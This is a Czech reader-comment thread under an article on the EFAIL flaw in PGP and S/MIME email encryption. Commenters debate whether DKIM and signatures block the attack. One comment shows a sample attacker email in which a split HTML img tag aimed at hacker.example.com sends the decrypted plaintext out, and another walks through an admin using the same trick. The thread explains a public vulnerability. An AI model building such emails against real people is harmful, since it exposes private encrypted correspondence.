Vlákno názorů k článku Chyba EFAIL umožňuje číst zprávy zašifrované pomocí PGP a S/MIME od j - Ja bych chtel videt klienta, kterej bydefault bez...

No, že se tady psalo, že třeba na serveru ten mail někdo zmodifikuje. To mu rozhodně DKIM zkomplikuje. A pokud (zašifrovanou) zprávu nechám i podepsat (S/MIME), tak je podepsaná CELÁ.
To je snad první stupeň (zdravé) paranoie, podepisování zpráv. Šifrování je až ten další.

Takže dopis od mého šifrujícího partnera Vonáska musí

mít zfalšovaný DKIM

doménu pro DKIM změnit bude problém, protože podle odesílatele můj klient vybere veřejný klíč k ověření podpisu, takže ještě:

zfalšovaný S/MIME podpis

modifikovaný vnitřek

a ještě mě musí přesvědčit, abych nechal klienta zobrazit vzdálený obsah

Opravdu je to snadný útok?
To samozřejmě nic nemění na tom, že přístup postižených klientů je zásadně špatný a vyžaduje nutnou opravu.

Stále nechápete, jak ten útok funguje. Útočník vezme zašifrované „přílohy“ (zašifrovaný není nikdy celý e-mail, hlavičky nejsou šifrované, šifrovaný je jen obsah), a ty vloží do svého e-mailu. Takže žádné falšování DKIM se nekoná, protože z toho původního šifrovaného e-mailu se žádné hlavičky nepoužijí (použije se jen ta šifrovaná část), a nový e-mail má útočník plně pod kontrolou, pošle ho prostě ze své adresy, ke které má správné DKIM.

Pokud máte e-mail od vašeho šifrujícího partnera Vonáska, budete mít e-mail:

From: Vonásek
Subject: tajný e-mail

--BOUNDARY
…šifrovaný obsah…
--BOUNDARY

Útočník vám pak pošle tohle:

From: Svatoušek
Subject: tohle si určitě musíte přečíst

Takovýhle obrázek jste ještě neviděl: <img src="http://hacker.example.com/?obsah-emailu="
--BOUNDARY
…šifrovaný obsah…
--BOUNDARY
"/> Úžasné, že?

O nějakém Vonáskovi v tom e-mailu od útočníka není ani čárka, je tam vložená jenom ta zašifrovaná část. Už to chápete?

Špatně jste to pochopil.

Získám něčí mail (např admin serveru), jehož tělo je zašifrováno příjemcovo klíčem. Poté vytvořím (jako útočník) nový regulérní mail, který šifrované(+po­depsané) body vloží do multipart/encrypted a před a za tuto část vloží nové multipart body - HTML značku rozdělenou na dvě poloviny (podpis+šifrování i nadále sedí, protože se nic nezměnilo, jen se vložilo do mailu jako multipart část a jen toto se kontroluje
v případě multipart mailů)). Tento mail pošle opět oběti. Na odchozím serveru získá regulérní DKIM podpis, proto ho příjemcovo mailserver neodmítne. Příjemce obdrží mail, jehož multipart/encrypted část pošle PGP (S/MIME) knihovně k rozšifrování. Od knihovny obdrží rozkódovaný text. Teď vezme první multipart část, spojí ji s druhou multipart částí (již rozšifrovanou) a poté to spojí s třetí multipart částí, která dokončí HTML značku, která začala v první části. Nyní je rozšifrovaný text součástí URL, který klient poptá na vzdáleném serveru nějak zjednodušeně takto "GET www.ciziserver.com/rozsifrovany%20text", takže vzdálený server dostane součástí URL požadovaný rozšifrovaný text.

Není to tak.

Zkusím modelový případ.

Jsem admin, potřebuji rozšifrovat mail pro ředitele. Vlezu na serveru do jeho mail storage, najdu ten mail a stáhnu si ho k sobě. Vyjmu multipart/encrypted body, přenesu jej do nového mailu, kde ještě přidám multipart body před a za toto šifrované body. Jelikož encrypted body nezměním, šifrování i podpis bude stále souhlasit. Pošlu řediteli mail ze svého mailu. Ředitel si mail otevře a pokud mail klient má povoleno stahování externích obrázků, tak mi v URL pošle hezky to co je v té šifrované části. Klient pošle do šifrovací knihovny multipart/encrypted část, vrátí se rozšifrovaná, klient složí všechny multipart části do jednoho bloku a pošle to HTML renderu k zobrazení.

Takže shrnuto:
1) DKIM bude v pořádku - posílám regulérní mail ze svého účtu.
2) S/MIME podpis bude v pořádku, protože část mailu, která je podepsána/šifrována tak je nezměněna. Klient sice zahlásí, že nesouhlasí e-mail z podpisu (v certifikátu bude e-mail původního odesílatele, ne útočníkovo), ale mail stejně zobrazí (a tímpádem odešle dešifrované body jako součást URL na vzdálený server).

Takže relativně snadný útok to je (vzhledem k tomu, že lidi běžně mají povolené stahování externích obrázků).

V modelovém příkladu máte pravdu -- technicky.
Pokud má firma správce serveru, který je ochoten něco takového udělat, má vážné bezpečnostní problémy, protože takový člověk je zřejmě ochoten udělat cokoliv nejen nemorálního, ale i nezákonného.
A když někdo šifruje e-maily a má přitom povolené automatické zobrazení vzdáleného obsahu, tak je to taky bezpečnostní problém.
Nakonec přidejte praktickou nemožnost S/MIME, natož šifrování, ve webových rozhraních a můžeme to uzavřít, že je to pěkně blbá chyba, ale v poštovních klientech, ale široké veřejnosti se prakticky netýká. Řekl bych, že bohužel, protože S/MIME a leckdy i šifrování by bylo vhodné víc používat.
Autorům odhalení patří dík, kromě odhalení té chyby, zejména za to, že zmapovali vadné klienty.

BobTheBuilder: Nemá smysl argumentovat tím, že šifrovat není potřeba. Pokud někdo nepotřebuje šifrovat tak asi nešifruje a ta chyba se ho netýká. Pokud někdo šifruje, tak to asi potřebuje – a je dost hloupé, pokud to šifrování funguje tak, že skoro jako kdyby nešifroval.

Mimochodem, e-maily šifruje druhá strana, ne ten, kdo má povolené automatické zobrazení vzdáleného obsahu. Ale je pravda, že dotyčný musí chtít šifrovat a zveřejnit svůj veřejný klíč. Zároveň ale platí, že ten zákaz automatického zobrazení vzdáleného obsahu moc nefunguje a v parserech nebo zobrazovačích HTML e-mailů je podle výzkumníků spousta chyb, které umožňují ten požadavek na web server poslat i tehdy, když je vzdálený obsah vypnutý.

Ano, vím, jak funguje podpis e-mailu – na rozdíl od vás. Co jste stále nepochopil je to, že v tom útoku figurují dva e-maily – zašifrovaný e-mail, který chce útočník rozšifrovat, a e-mail vytvořený útočníkem. Útočník vezme ten šifrovaný e-mail (respektive jeho šifrovanou část, e-mail není nikdy šifrovaný celý), a tak jak je, beze změny jediného bitu, ho vloží jako přílohu do svého e-mailu. Takže ten šifrovaný (případně podepsaný) e-mail se proti podpisu nezmění jednoduše proto, že ho útočník nijak nemění a použije ho tak jak je. Můžete si to klidně zkusit sám. Vezměte si nějaký soubor, spočítejte si jeho hash, pošlete si ten soubor jako přílohu e-mailu, a když ten soubor z přílohy e-mailu jako příjemce zase vyndáte a spočítáte jeho hash, bud stejný, jako na začátku. To je kouzlo, že? A úplně stejně to dělá i útočník.

Vy zase netušíte, co všechno se podepisuje. Nikdy se nepodepisuje celý mail, ale jen část body. Takže když tu přenesete do nového mailu do multipart části, tak podpis bude stále souhlasit, protože se nic nezměnilo.

Vážně je tak těžké to pochopit? Žádné body se nezmění – celé, tak jak je, do posledního bitu, se vloží do nového e-mailu.

Jste fakt mimo. Podpis sedět bude částečně. Integrita bude v pořádku, protože body se přenese celé do nového mailu jako multipart. Co nebude sedět, tak bude autenticita podpisu, protože v podpisu bude jiný e-mail (odesílatel z původního mailu, odkud se body vzalo) než v hlavičce mailu útočníka. Nicméně prakticky dneska každý klient zobrazí obsah mailu s varováním, že nesedí podpis (autenticita). A to už je pozdě, plaintext těla bylo odesláno na cílový server při renderování HTML...